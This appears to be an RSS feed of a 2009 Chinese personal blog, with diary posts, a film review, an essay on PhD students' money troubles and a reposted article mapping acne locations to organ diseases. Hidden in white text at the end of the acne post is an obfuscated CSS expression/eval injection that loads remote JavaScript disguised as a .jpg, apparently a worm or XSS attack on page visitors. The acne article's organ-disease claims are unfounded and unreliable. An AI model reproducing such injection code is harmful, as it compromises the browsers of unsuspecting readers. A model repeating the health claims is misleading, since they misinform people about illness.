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<title><![CDATA[磐涅*凰凤]]></title>
<description><![CDATA[我心飞扬]]></description>
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<pubDate>Wed, 25 Nov 2009 15:22:15 GMT</pubDate>

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<title><![CDATA[镜子中一张陌生的脸]]></title>
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<description><![CDATA[<br><br> <br> <br>镜子中一张陌生的脸，缘于拍证件照。自如地坐在那里，咔嚓的一声。<br>定晴一看屏幕，那人似乎不认识。<br>第一次觉得镜子中的自己陌生了。大概是太清晰自己胸卡上的照片了。<br>而和现在自己的照片，又不相符。<br>许久的记忆停留在从前，包括自己。<br> <br>现在呢……………………………………………………………………………………<br> <br> <br> <br>------------------<br><wbr /><a href="http://res.mail.qq.com/images/mo/KUBI/m13.gif" target="_blank"><img style="border:0;" src="http://res.mail.qq.com/images/mo/KUBI/m13.gif" /></a><wbr /><br><br><br><br> <br> <!--v:3.2--> ]]></description>
<category><![CDATA[清清微笑]]></category>
<author><![CDATA[174548934@qq.com(磐涅*凰凤)]]></author>
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<pubDate>Wed, 25 Nov 2009 15:22:15 GMT</pubDate>
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<title><![CDATA[转载：合工大印象]]></title>
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<description><![CDATA[<embed invokeURLs="false" allowNetworking="internal" allowscriptaccess="never" menu="false" id="flash0" width="400" height="330" src="http://www.56.com/p_20682634.swf" /><br>------------------------------------------<br>本文转载自：<a href="http://user.qzone.qq.com/280647003/blog/1258282659" target="_blank">evens： 合工大印象</a><wbr /><br>用QQ邮箱阅读空间<a href="http://mail.qq.com/cgi-bin/feed?u=http://feeds.qzone.qq.com/cgi-bin/cgi_rss_out?uin=280647003" target="_blank">订阅<span style="font-weight:bold"><wbr />evens</span><wbr /></a><wbr /><br><a href="http://mail.qq.com/zh_CN/htmledition/help_reader.html" target="_blank">什么是阅读空间?</a><wbr /><br><br> <!--v:3.2--> ]]></description>
<category><![CDATA[个人日记]]></category>
<author><![CDATA[174548934@qq.com(磐涅*凰凤)]]></author>
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<pubDate>Wed, 25 Nov 2009 14:27:40 GMT</pubDate>
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<title><![CDATA[[转]博士生的女朋友有话要说！！！]]></title>
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<description><![CDATA[博士生的女朋友有话要说！！！ <br>     在认识我男友之前，我对博士生的敬仰之情如滔滔江水，我原来觉得他们是家乡的骄<br> 傲，国家的精英，好像是山上的神仙，潜心科研，逍遥自如，与我们这些凡人大大不同。<br> 但是，我现在发现，在读的博士生竟然是个特别的“弱势群体”。 <br>     前些天我听我男友说，他隔壁寝室师兄跟女朋友分手了，师兄女友的父母不同意把女<br>儿嫁给没有房子的他。我男友的室友也跟相恋2，3年的女友分手了，原因还是房子，钱！<br>他们已经要准备结婚了，他女友在老家工作，结婚后打算过来上海，她要求在上海买房，<br>他现在的经济状况买不了，于是吵吵吵~~~吵到分,分了~~~分了，就这么分了，就因为房子<br>钱！房子！听说那位博士兄弟天天喝酒，夜里还忍不住流泪。 <br>     我是女生，我能理解女生和女生家长。家长都希望自己女儿嫁个条件好些的，女儿就<br>可以少吃点苦少受点累。我也曾经因为我男友现在经济条件不好，狠狠的大哭过一场：为<br>什么别的女孩子嫁人了，有浪漫的婚礼，有钻戒，有房子有车子。而我们，要想办婚礼都<br>得去四方借钱？更别想啥房子车子了，为什么？我觉得委屈，我不比别的女生差，为什么<br>我的生活是这样？！！ <br>     我男友心里也很难受，哑巴吃黄连，有苦说不出。十年寒窗，他从农村考上交读研，<br>读博，在家乡他是学弟学妹的榜样，被当作天才一般，是家乡的骄傲。在学校，他专心科<br>研，认真刻苦取得的成绩也得到了许多赞许。可他却止不住我委屈的眼泪，物质上， 他现<br>在给不了什么,他也不明白为什么觉得自己挺优秀，日子却过成这样。学校的那些补助，只<br>能基本保证自己温饱。今年我的生日礼物是条玫瑰金项链，我又开心又心疼，他为了给我<br>礼物，省吃俭用存了好久。 <br>      他没有钱，但他有错么？？！没有！！他每天都很努力，很努力的学习工作。我有<br>错么？！我非常能理解他的处境他的难处，可是，我就是想哭，我就是止不住眼泪。在这<br>个物质的社会，我承认我是有些心浮气躁，我也想像神仙一样淡薄名利，可有的时候，真<br>的，好难过。为什么？告诉我为什么这样…… <br>     记得我问我男友当时为什么报考交大机械，他说高中时特别喜欢军事，特别爱看军事<br>杂志上的战斗机，军舰啥的，他梦想成为中国造航母的专家。后来问他为什么读博士，他<br>说希望以后能过上好些的日子，不过早知道现在这样，不如当时本科就出来工作了，像本<br>科那些同学一样，都已经过上好日子了。 <br>      我很想告诉学弟学妹们，特别是学弟们：如果家里不是很富裕，请你考虑清楚再决<br> 定是否读博士搞科研，不管你有多适合科研，不管你多有热情为科学献身。因为，来自生<br>活和情感的压力，很有肯能把你热情的火焰浇灭。 <br>      博士，是很难读的，很多博士生不到30岁就有白发，头发也随着思考的增多而减少<br>；而且，基本至少要读到而立之年，你那点补助只够自己的温饱，父母在供你上了大学，<br>研究生后还不能歇一歇，他们想着你还没工作，他们要帮你存钱娶媳妇（我男友的父母近<br>六十了，种了好多菜卖，你能想到市场上有的蔬菜他们都种了，不管天多热，他们都在田<br>里忙。为了占 个好摊位，每天早上2点起来去市区卖菜，怎么劝他们别去累了苦都不听，<br>就是因为他还没工作）。 <br>      还有件事让你难过的，就是你同学的小孩都能去打酱油了，你超过晚婚年龄好几年<br> 了还没有女朋友；如果你有女朋友，情况更糟糕：本来压力只是来自觉得对不住父母，现<br>在女朋友那又来了一层压力。即使她非常通情达理，温柔体贴，善良朴实，一点都不吵不<br>闹不抱怨，你也会有压力。一个有责任心的男人，都会想尽最大的力让自己的爱人过上更<br>好的生活，而你现在基本上不能给她什么，甚至，工资还没她的一半。 <br>     最惨的是，你在承受着巨大压力艰难前行的时候，被伤了一刀：她离开了你。大家 <br><br><br>都觉得博士毕业后有个光明的前途，是的，毕业后你被认为是香馍馍，说不定很容易娶个<br>大美女。但是，这几年的痛苦有多少人能熬过去？感情上的伤，被刀捅过的心，一辈子有<br>疤的。 <br>      我大概知道为什么几乎每年著名高校都有博士自杀的消息了，肯定不是因为哪个算<br> 法很难，推不出来，多是思想感情进了死胡同，被各方的郁闷压得受不了，解不开。他们<br>有着高智商，是某一科学领域的精英 ，但是情感上他们太需要支持，经不起太多的打击。<br>其实我觉得他们是个特殊的“弱势群体”。 <br>     我们都知道需求金子塔：生理、安全、社交、尊重和自我实现。我发觉生理和社交需<br>求，我们的辛苦的博士生们却比同一年龄的普通人有的少，少很多 。希望教育部的领导们<br>在花时间想把那44个汉字写更好看的同时，也花点时间关心一下我们花了20年培养出来的<br>博士们。他们不指望读博士生在生活上过的有多好，他们多是习惯了清贫的人，但希望生<br>活不要给他们太多的压力让他们分太多的心。希望不要太经常捉襟见肘，在过年过节的时<br>候能给父母买点补品买两件衣服，在同学结婚送红包时不用老想着接下来几个月该如何节<br>衣缩食……让他们全身心的投入到科研中去，或许，我们还有拿诺贝尔奖的可能。 <br>     最后，我还有些话对姐妹们说：现在社会都流行着“没房没车谁嫁你？”，其实，我<br>们没有必要随大流。我曾经想过，在老了之后，最需要的是什么？当然不是名车——是一<br>双紧握着你的手，陪你一起散步唠嗑的人。在要离开这个世界的时候，最留恋的是什么？<br> 当然不会是豪宅——是你爱的人！ <br>     如果你遇到一个人，他爱你，你爱他，你们性格适合 ，你知道不会变心，那么——<br> <br>     嫁给他！ <br>     不管他有几间房，存了多少钱，家里几亩地，地里几头牛~~~ <br>     相信我，你们会幸福一辈子的！ <br>     愿人人都有一颗宁静的心，愿明天更好……<br> <!--v:3.2--> ]]></description>
<category><![CDATA[个人日记]]></category>
<author><![CDATA[174548934@qq.com(磐涅*凰凤)]]></author>
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<pubDate>Wed, 18 Nov 2009 11:56:00 GMT</pubDate>
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<title><![CDATA[[转]脸上长痘部位对应的身体问题]]></title>
<link>http://174548934.qzone.qq.com/blog/1254719744</link>
<description><![CDATA[脸上长痘部位对应的身体问题   　　额头痘VS肝脏 <br><a href="http://image.club.sohu.com/pic/d5/d8/beijing02a87846e6e51f09.jpg" target="_blank"><wbr /><a href="http://image.club.sohu.com/pic/d5/d8/beijing02a87846e6e51f09.jpg" target="_blank"><img style="border:0;" src="http://image.club.sohu.com/pic/d5/d8/beijing02a87846e6e51f09.jpg" /></a><wbr /></a><wbr /> <br>　　如果你的额头总有大粒痘痘不断，那说明你的肝脏已经积累了过多毒素，不规律的生活、昼夜颠倒、长时间熬夜都会让肝脏不能在正常时间（夜里10点～12点）工作，毒素就会积累下来。 <br>　　长效建议：让肝脏按时工作(压力大，脾气差，造成心火和血液循环有问题。 <br>应早睡早起，多喝水。) <br>　　晚10点按时上床睡觉，让身体进入休眠状态。 <br>　　哪怕睡不着，就是放松状态下也有利于肝脏排毒工作。 <br>        表示心火过旺，脾气不好。中医研究发现，长期思虑过度、劳心伤神的人，额头上常常会长出痘痘来，一般此类人心理压力比较大，脾气也不太好，一点小事就容易放在心上，也容易斤斤计较，工作中不乏细致，但生活中却易流于琐碎，从而引起心火旺盛、心火上炎。 <br>        中医认为，五脏当中，心为君主之官，主理人体的神志和血脉功能，如果多思多虑的话，必然耗伤心气，容易出现入睡困难、睡中多梦、晨醒过早等睡眠问题，也容易造成气血运行阻滞，出现心悸、胸闷、气短等症状。这类情况的降火应以养心为先。 <br>         心是体内的主宰，配合其他所有脏腑的功能活动，它推动血液输送全身，并统管全身的精神、意识、思维活动。 <br>         养心锻炼应注意“三适”：适时，时间最好安排在清晨或傍晚天气凉爽时；适量，提倡轻松运动，时间控制在20～30分钟左右，强度适当减小；适地，尽量到户外运动，选择公园、湖边、庭院等阴凉通风的地方。应注意劳逸结合、适当休息，养成早睡早起的习惯，睡眠充足，特别是要尽量改变多思多虑的生活习惯，寻找一种适合自己的放松心情、舒缓压力的方式。 <br>　　鼻翼痘VS胃 <br><a href="http://image.club.sohu.com/pic/54/f1/beijing7f2ebca4e4e22b63.jpg" target="_blank"><wbr /><a href="http://image.club.sohu.com/pic/54/f1/beijing7f2ebca4e4e22b63.jpg" target="_blank"><img style="border:0;" src="http://image.club.sohu.com/pic/54/f1/beijing7f2ebca4e4e22b63.jpg" /></a><wbr /></a><wbr /> <br>　　当鼻翼处长出痘痘时，除了此处油脂分泌旺盛的原因外，还是胃火过大、消化不良的表现。如果鼻头还有轻微脱皮现象，表明血液循环也不是很好。另外，经常便秘和胃胀气的人也容易长鼻痘。 <br>　　长效建议：少食刺激性食品 (与卵巢机能或生殖系统有关。不要过度纵欲或禁欲，多到户外呼吸新鲜空气。) <br>　　减少肉类摄取，谢绝火锅、冷食和辛辣食品。食物和水都要用温热的，以免刺激胃液分泌过多导致胃酸，胃酸也会让胃火加剧。 <br>         一般由于皮脂分泌较多。也可能跟卵巢机能或生殖系统有关。定要及时清除毛孔污垢。另外,不要过度纵欲或禁欲。多多享受健康自然的环境。 <br>　　唇周痘VS肠 <br><a href="http://image.club.sohu.com/pic/c7/df/beijing6de06d01a92c305a.jpg" target="_blank"><wbr /><a href="http://image.club.sohu.com/pic/c7/df/beijing6de06d01a92c305a.jpg" target="_blank"><img style="border:0;" src="http://image.club.sohu.com/pic/c7/df/beijing6de06d01a92c305a.jpg" /></a><wbr /></a><wbr /> <br>　　便秘或者肠热、吃了太多辛辣、油炸食物是嘴唇周围长痘的原因，当然，如果使用含氟过多的牙膏也会刺激长痘。 <br>　　长效建议：舒肠助排毒 (便秘导致体内毒素累积，或是使用含氟过量的牙膏。 应多吃高纤维的蔬菜水果，调整饮食习惯。 若长在人中部位，则可能是泌尿与生殖系统问题，女性可能会有白带问题，男性则常出现频尿，一定要就医治疗。 ) <br>　　服用一次轻泻剂帮助缓解症状，可以配合腹部按摩帮助排出宿便。连吃几天富含纤维的食物疏通肠道，问题就迎刃而解。 <br>　　印堂痘VS心脏 <br><a href="http://image.club.sohu.com/pic/2f/d1/beijingba575abacf7cfd53.jpg" target="_blank"><wbr /><a href="http://image.club.sohu.com/pic/2f/d1/beijingba575abacf7cfd53.jpg" target="_blank"><img style="border:0;" src="http://image.club.sohu.com/pic/2f/d1/beijingba575abacf7cfd53.jpg" /></a><wbr /></a><wbr /> <br>　　出现在双眉中间的痘痘最不能轻视，回忆一下是否最近经常出现心悸、胸口闷的症状，当心脏活力减弱时这里才会长痘。 <br>　　长效建议：注意保护心脏 <br>　　远离剧烈运动，增加睡眠，远离烟酒和刺激，同时尽快咨询心脏方面的专家，找出问题所在。 <br>　　发际痘VS毛孔 <br><a href="http://image.club.sohu.com/pic/91/db/beijingeafafa74107d8bc7.jpg" target="_blank"><wbr /><a href="http://image.club.sohu.com/pic/91/db/beijingeafafa74107d8bc7.jpg" target="_blank"><img style="border:0;" src="http://image.club.sohu.com/pic/91/db/beijingeafafa74107d8bc7.jpg" /></a><wbr /></a><wbr /> <br>　　因为卸妆没卸干净，或者清洁时忽略了这个小细节，造成角质太厚，毛孔堵塞，容易在发际或眉间形成细小痘痘。 <br>　　长效建议：清洁照顾边缘细节 <br>　　每天洁面时注意发际边缘的清洁，及时清除会堵塞发际周围毛孔的毛孔代谢物。 <br>　　左脸颊痘VS血液循环 <br><a href="http://image.club.sohu.com/pic/8b/5b/beijing6480ca0d91bb760c.jpg" target="_blank"><wbr /><a href="http://image.club.sohu.com/pic/8b/5b/beijing6480ca0d91bb760c.jpg" target="_blank"><img style="border:0;" src="http://image.club.sohu.com/pic/8b/5b/beijing6480ca0d91bb760c.jpg" /></a><wbr /></a><wbr /> <br>　　左脸颊长痘说明你的血液排毒能力降低，有可能是肝脏出现了问题或是血液循环出现了问题。 <br>　　长效建议：加速血液循环 (肝功能不顺畅，有热毒。 注意作息正常，保持心情愉快，该吹冷空气就吹，不要让身体处在闷热的环境中。 ) <br>　　不要让身体处在闷热中，可以用温度略低于体温的水洗澡，多到户外活动，吃一些凉血的食物，如丝瓜、冬瓜、柿饼、绿豆等。 <br>         一般表示肝气郁滞，压力过大。如果平时压力过大，又没有学会适当调节、又没有个给自己“解压”的人，常常会感到莫名其妙地心烦意乱，甚至为一点点小事而暴跳如雷，这是肝气郁滞的表现。 <br>         应该照照镜子，看看舌头是不是有点发紫发暗呢？中医理论认为，长期的情志不抒，也会影响肝的疏泄功能，如果此时你发现在左侧脸颊长出了痘痘，这就提醒该注意放松心情、消除紧张感了。在中医理论中，肝不仅管理着情志，更有藏血的功能，如果长期情志不畅，造成气机郁滞且不及时调整的话，还会影响到女性的月经，甚至生殖生育的过程。这类情况的降火应注重呵护肝脏。 <br>         肝是身体里藏血的脏器，它努力工作，脾胃功能就能正常，气、血、水的运行正常。养肝就要梳理它的性情，性情急躁只能助长它的暴脾气，所以在精神上要保持柔和、舒畅，力戒暴怒和抑郁。这样就不会让肝气过旺，肝可以维持正常的疏导功能。 <br>         凌晨1～3点，是肝最强的时间，我们能做的就是睡眠，给肝创造一个良好的工作环境；肝最弱的时间是下午1～5点，所以建议把辛苦的工作尽量堆在上午。 <br>         肝怕劳累，虽然一天中任何时候都应该注意休息，但下午1～5点这段时间更重要。如果必须工作，肝脏在体表开窍于眼睛，至少每隔一小时让眼睛休息5分钟。 <br>　　右脸颊痘VS肺 <br><a href="http://image.club.sohu.com/pic/97/59/beijing50eef9b52ac217fe.jpg" target="_blank"><wbr /><a href="http://image.club.sohu.com/pic/97/59/beijing50eef9b52ac217fe.jpg" target="_blank"><img style="border:0;" src="http://image.club.sohu.com/pic/97/59/beijing50eef9b52ac217fe.jpg" /></a><wbr /></a><wbr /> <br>　　右脸颊痘痘是肺部有炎症的反映。如果你肺火上升、喉咙干燥、痰多咳嗽，留意一下右脸颊痘痘。 <br>　　长效建议：禁食易敏食物 (肺功能失常。 注意保养呼吸道，尽量避免芒果、芋头、海鲜等易过敏的食物。 ) <br>　　停止吃海鲜和芒果、酒类食物等易敏食物，过敏会让你的气管、支气管、肺部更加不适。 <br>         一般表示有肺火蕴热，肺气不宣等的“肺火型”证候。不过这种痘痘多在秋天出现，而且多会伴有咳嗽、咽痒、咽痛、有痰等症状。肺处于五脏最高的位置，被称为华盖，它主司呼吸运动，从自然界吸入清气，又把体内的浊气排出体外，是心脏的辅臣，帮助新陈代谢顺利进行。这类情况的降火不妨以滋补润肺为主。上午7～9点是肺最强的时间，有什么运动最好放在这会儿做。在肺最有力的时候做些有氧运动，比如慢跑，能强健肺功能。肺最脆弱的时间是晚上9～11点，所以我们经常发现晚上咳嗽得更厉害些，建议晚饭后口中含一片梨，到睡前刷牙时吐掉。润肺最适合吃百合，百合性甘微苦，擅长润肺止咳，清心安神，对肺病治疗有很好的帮助。 <br>　　太阳穴痘VS胆囊 <br>　　是不是吃了太多的工作餐、盒饭、快餐食品？如果太阳穴周围长痘，那是你的胆汁分泌不足，因为吃了过量的油脂而让胆囊负担加重。 <br>　　长效建议：给胆囊减负 <br>　　每天一杯苦瓜汁是最快捷的方法，或者食用其他瓜类，比如黄瓜、冬瓜，这些都能很好地吸收油脂。 <br>         太阳穴附近出现小粉刺，显示你的饮食中包含了过多的加工食品，造成胆囊阻塞，需要赶紧行体内大扫除。如果不是太严重，也不用太担心，要是有越来越严重的迹象你最好到医院去检查一下为好。 <br>　　腮边颊痘VS淋巴循环 <br><a href="http://image.club.sohu.com/pic/f0/8b/beijing28cb44b9fd84dc72.jpg" target="_blank"><wbr /><a href="http://image.club.sohu.com/pic/f0/8b/beijing28cb44b9fd84dc72.jpg" target="_blank"><img style="border:0;" src="http://image.club.sohu.com/pic/f0/8b/beijing28cb44b9fd84dc72.jpg" /></a><wbr /></a><wbr /> <br>　　长期肝脏负担加重后，会在耳际、脖子和脸交界处产生痘痘，反复爆发在同一位置，上升为淋巴循环不畅。 <br>　　长效建议：促使肝胆排毒 <br>　　不可劳累，饱饮饱食，适度增加睡眠时间，让大量供应到大脑、肠胃的血液有充分时间供应肝胆排毒。特别要减少睡前饮食的习惯，不加重肠胃负担。 <br>   三角区长痘： <br>         表示可能有胃肠不适，甚至长期便秘。如果长期嗜食辛辣、油腻或嗜酒，就会导致胃肠蕴热。 <br>         中医理论认为，如果经常吃一些热性食物，胃肠道中就容易积有热邪，从而造成胃肠不通畅，传输功能受阻，不仅会引发消化不良、口干、口臭、便秘等问题，而且还容易在鼻头、唇周及三角区周围出现痘痘。据统计，有20%左右的便秘病人会在口角四周长痘，另外有胃病的患者也容易在口唇周围冒出一些痘痘来，尤其是喜甜食、偏食及不爱吃蔬菜的人。这类情况的降火应注重护肠养胃。 <br>         对于肠胃不好的人，中医通常会建议他养成定时排便的习惯，并每天晨起即喝杯淡盐水，早餐再喝杯牛奶，促使大肠菌产生乳酸，促进肠蠕动。另外，脑力工作者的午餐不要吃得太饱，晚餐宜吃得清淡一些。每餐餐后吃1个苹果，平时宜多吃菠菜、胡萝卜、西红柿、胚芽米、橘子、地瓜等食物，多喝水，记住每天要喝足够的水。 <br>         如果长期嗜食辛辣、油腻或嗜酒，就会导致胃肠蕴热。中医理论认为，如果经常吃一些热性食物，胃肠道中就容易积有热邪，从而造成胃肠不通畅，传输功能受阻，不仅会引发消化不良、口干、口臭、便秘等问题，而且还容易在鼻头、唇周及三角区周围出现痘痘。据统计，有20%左右的便秘病人会在口角四周长痘。 <br>        有胃病的患者也容易在口唇周围冒出一些痘痘来，尤其是喜甜食、偏食及不爱吃蔬菜的人。这类情况的降火应注重护肠养胃。对于肠胃不好的人，中医通常会建议他养成定时排便的习惯，并每天晨起即喝杯淡盐水，早餐再喝杯牛奶，促使大肠菌产生乳酸，促进肠蠕动。 <br>        另外，脑力工作者的午餐不要吃得太饱，晚餐宜吃得清淡一些。每餐餐后吃1个苹果，平时宜多吃菠菜、胡萝卜、西红柿、胚芽米、橘子、地瓜等食物，多喝水，记住每天要喝足够的水。 <br>  下巴长痘： <br><a href="http://image.club.sohu.com/pic/7c/70/beijing1b9dbb691e89296e.jpg" target="_blank"><wbr /><a href="http://image.club.sohu.com/pic/7c/70/beijing1b9dbb691e89296e.jpg" target="_blank"><img style="border:0;" src="http://image.club.sohu.com/pic/7c/70/beijing1b9dbb691e89296e.jpg" /></a><wbr /></a><wbr /> <br>一般表示体内激素失调，周期失衡。有些女性已过三十，但“青春痘”却依然比较严重，而且通常只长在下巴，还逐渐形成规律，月经来的时候长，月经结束的时候会消，如此周而复始。这主要是由于体内激素分泌非常旺盛，变化的幅度比较大，内分泌失调而引起的。 <br>         从现代医学的角度看，青春痘多由雄性激素分泌过盛所致，而女人年过三十，雌激素分泌减少导致对雄激素的制约减弱，造成雄激素相对过盛而起痘。这类情况最好的解决方法是补充激素。但是，不论是合成类激素、植物性激素还是类激素物质，在改善症状的同时往往会抑制人体自身激素的分泌，不可避免地使身体产生依赖性。而人们过量的补充和自身分泌的抑制，往往又造成雌、孕激素等多种激素间失衡，引发内分泌失调，出现月经紊乱、乳腺纤维瘤、子宫内膜异位、息肉，甚至乳腺癌、子宫癌等严重疾患。 <br>         内分泌失调。要少吃冰冷的东西。 <br>         每个月在月经来潮前后下颚长出一颗颗小痘，这区域的皮肤变化与卵巢有直接关系，可以进行身体按摩或是淋巴引流改善。 <br>   双眉间长痘： <br>胸闷，心律不整，心悸。建议不要做太过激烈的运动，避免烟、酒、辛辣食品。 <br>不要做太过激烈的运动，避免烟、酒、辛辣食品。 <br>鼻头长痘： <br><a href="http://image.club.sohu.com/pic/6b/88/beijing89a1fd8e9a6a933f.jpg" target="_blank"><wbr /><a href="http://image.club.sohu.com/pic/6b/88/beijing89a1fd8e9a6a933f.jpg" target="_blank"><img style="border:0;" src="http://image.club.sohu.com/pic/6b/88/beijing89a1fd8e9a6a933f.jpg" /></a><wbr /></a><wbr /> <br>胃火过盛，消化系统异常。应少吃冰冷食物。 <br>胸部:与长在人中位置的青春痘一样. 要注意泌尿与生殖系统问题，需就医治疗 <br>太阳穴：太阳穴附近出现小粉刺,显示你的饮食中包含了过多的加工食品，造成胆囊阻塞，需要赶紧行体内大扫除。 <br>前额： 前额出现痘斑，是肝脏里含有过多的毒素所致，必须减少食用含糖分过高的食物，更要避免用太多的酒精。 <br>眼睛周围： 眼睛周围干涩，或是出现干燥地表的裂纹，显示你有必要加强维他命B2及B6的摄取。 <br>嘴角： 嘴角出现细微的皱纹了，表示你要多多补充铁质了。 <br>眼睛下方： <br><a href="http://image.club.sohu.com/pic/31/80/beijinge228765b21aaca2c.jpg" target="_blank"><wbr /><a href="http://image.club.sohu.com/pic/31/80/beijinge228765b21aaca2c.jpg" target="_blank"><img style="border:0;" src="http://image.club.sohu.com/pic/31/80/beijinge228765b21aaca2c.jpg" /></a><wbr /></a><wbr /> <br>眼睛下方与肾脏有直接的关系，当出现黑眼圈，眼袋及浮肿现象时，表示你喝了太多的咖啡和茶，这类饮料都是碱性的,有必要节制这类的饮料。 <br>鼻子两侧： 鼻子两侧出现黑头粉刺，轻微干燥脱皮现象，表示血液循环不良，可以适度进行按摩，加强这部分皮肤的血液循环。或是适量补充锌，维他命B2及B6。 <br>脸颊两侧： 这部分皮肤出现粉刺，表示饮食必须加以节制，不要暴饮暴食，多食用帮助身体去毒的食物 如苹果，竹笋,对身体肠胃的清洁有很大的功效。 <br>另外,吸烟多的人脸颊容易出现浮肿，并出现清晰的微血管纹路，这是皮肤缺氧气的讯号，最好解决办法就是戒烟。 <br>口颈部:若青春痘长在下巴周围像落腮胡甚至长到颈部，与胃功能有关，多半是胃部湿热型，要少吃辣与油炸食品<span style="color:#FFFFFF;line-height:1.8em;"><wbr />[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash]</span><wbr /> <!--v:3.2--> ]]></description>
<category><![CDATA[７荤８素]]></category>
<author><![CDATA[174548934@qq.com(磐涅*凰凤)]]></author>
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<pubDate>Mon, 05 Oct 2009 05:15:44 GMT</pubDate>
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<title><![CDATA[电影《忘不了》]]></title>
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<description><![CDATA[         晚上，安静地在电脑前，看了电影《忘不了》。之前，有在娱乐报道里看过此片的花絮，讲主演张柏芝演一个女公车司机。<br>         对于张，记得《星语星愿》那张肥肥的小脸，记得《河东河吼》里的，要爱我，要**我之类的名言（据说是经典了）。之前看过的细节已经模糊了。对于《忘》，有时感觉她是用心地表现了。不过，还能让我意识到她用心了，可能还叫未到浑然天成的感觉。已经是很好了。<br>         有印象的小细节，未婚夫死了，硬是没有哭。妈妈过来安慰，说了一句很逗的话，“完了，哭不出来”。在我看来，却觉得很真实，很感人。对于这个小片断，或许是有类似经历，感同身受，或许是她演的太逼真，感人至深。后者可能性更大吧。压抑在心中，默默承受，找不到出口，在外看不出悲伤的痕迹。可是在生活中，却又一团乱糟糟，片中称为缺乏判断力，混乱，没有章法。到后来，刘告诉他古死前的真相时，却又实实在在地哭了，终于把藏在心中的悲伤发泄出来了，或许再不发泄是要疯了。想起一个词，确叫河东狮吼。<br>        题外话：我倒是觉得去吼吼信乐团的歌会比较好。<br>        片中的真实感，让人印象深刻。对于张跟一个公车司机，作为父母是不愿意的，这样女儿会过的很辛苦。于是父女间的隔阂就产生了。可是牵挂的心却还在，刘意外和张父撞上时，其父说，别让张知道他来过。这之中，是那种轻微的要人命的自尊。我本觉得，如果相爱，这一层自尊能去掉。用心去相待不好吗？而后来，终于见父女和好，甚是宽慰。想起3月末的临江路上，一个中年男人的一把泪。有些东西，的确是要表达出来的。现在每个星期都会接到电话了，比以前要准时，频繁。虽然没有了以前一聊半个小时的家长里短，只是现在短短的问候，须知道一切拥有都是福，须珍惜。记得，以前老推荐某人给妈妈洗个脚，被认为是花花肠子。感情是要表达的。<br>        对于戏中另一主角，刘青云，其表演可能真是行云流水了，不见修饰，甚是真实。<br>        好久没有这样一个好的题材表达感情了。时钟落到了深夜时分，未有冷风袭来，便也回不到凉风习习的晚上了。但是是一个好时光，因为打开了话唠的话匣子。今天，还看一部电影《魔鬼的代言人》，对于有宗教信仰的人，着实觉得挺好。入了哲学门，便有深刻意。能见大制作，难见很深刻。<br>        好像就写到这了吧，明天还得出远门。对了，对了，片中有一车厢点燃的蜡烛，觉得很好玩。有兴趣的朋友也可以去看一下。想到一句话，电影是需要经历丰富的人去看的。我经历丰富，我在装逼。大家BS我。<br> <!--v:3.2--> ]]></description>
<category><![CDATA[晾晾心情]]></category>
<author><![CDATA[174548934@qq.com(磐涅*凰凤)]]></author>
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<pubDate>Sat, 29 Aug 2009 18:12:59 GMT</pubDate>
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<title><![CDATA[记事]]></title>
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<description><![CDATA[好久没有更新了。好久没有记事了。淡定，把所有的情绪都掩埋了。<br>还有一种想法就是，声嘶力竭地说话很久了，需要长时间来恢复。<br><br>今天去唱歌，上次吼在很久很久以前了。<br>然后收到短信。新安装的软件很炫烂地显示着。<br><br>记录。。记录。。<span style="color:#ffffff;line-height:1.8em;">快乐眼泪。。</span><wbr /><br> <!--v:3.2--> ]]></description>
<category><![CDATA[清清微笑]]></category>
<author><![CDATA[174548934@qq.com(磐涅*凰凤)]]></author>
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<pubDate>Mon, 24 Aug 2009 14:36:35 GMT</pubDate>
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<title><![CDATA[强势推荐，看后不后悔~~！好看还很好玩。。]]></title>
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<description><![CDATA[还没有见过一个广告可以做的这么精致和创意。<br>看后不会后悔。<br>做你的选择。一个酒的精彩广告。。<br>http://www.martellnoblige.com.cn/<br><br>捧着半个西瓜，做完了这广告里的各个选择。。 <!--v:3.2--> ]]></description>
<category><![CDATA[清清微笑]]></category>
<author><![CDATA[174548934@qq.com(磐涅*凰凤)]]></author>
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<pubDate>Sat, 27 Jun 2009 11:59:46 GMT</pubDate>
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<title><![CDATA[困顿]]></title>
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<description><![CDATA[交替着，无聊着，听电脑里所有的歌曲。 <br>发现孙燕姿的歌，是唱到心里去的。以前居然没有发现这个新加坡女的歌词这么有味道。 <br>挥洒着，奔跑着，与月光作别。 <br>海风的感觉。 <br>记得端午节之前的唱歌，以为把情绪都留在那个房间里了。 <br>结果却没有，还让我带到了乐亭的海边。 <br>埋葬自己。 <br><br>夜，坐于了望塔上。歌，得一句，师父辛苦了。甚是趣。 <br><br>归。歌曲听到听到《忘忧草》。这才觉得被彻底击倒了。 <br><br>预想着过年回家，这是悲伤。如同埋葬。 <br><br>望窗外，又是月圆。 <br>细想，一件能让我找到理由去做的事情实在是不易。 <br>理性的人，或许。敏感性。 <br><br>还是找到理由了。 <br><br>乱说一气， <br><br>还是看看被埋的我吧。果然埋一个人也挺难的。 <br><wbr /><a href="http://b16.photo.store.qq.com/http_imgload.cgi?/rurl4_b=c0d5cff1b41eda49144c70a88fe6a6859f593c21f849989dbd46e94fe9745822d401e66218a8c5c9b6e43c907f80a7a804786adb104d5c0280b02ee3666f9c19863fae5d7bd3317946c721906dc92d69f937f01b" target="_blank"><img style="border:0;" src="http://b16.photo.store.qq.com/http_imgload.cgi?/rurl4_b=c0d5cff1b41eda49144c70a88fe6a6859f593c21f849989dbd46e94fe9745822d401e66218a8c5c9b6e43c907f80a7a804786adb104d5c0280b02ee3666f9c19863fae5d7bd3317946c721906dc92d69f937f01b" /></a><wbr /><br><br><br> <!--v:3.2--> ]]></description>
<category><![CDATA[清清微笑]]></category>
<author><![CDATA[174548934@qq.com(磐涅*凰凤)]]></author>
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<pubDate>Tue, 09 Jun 2009 15:25:47 GMT</pubDate>
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<title><![CDATA[[转]当幸福来敲门]]></title>
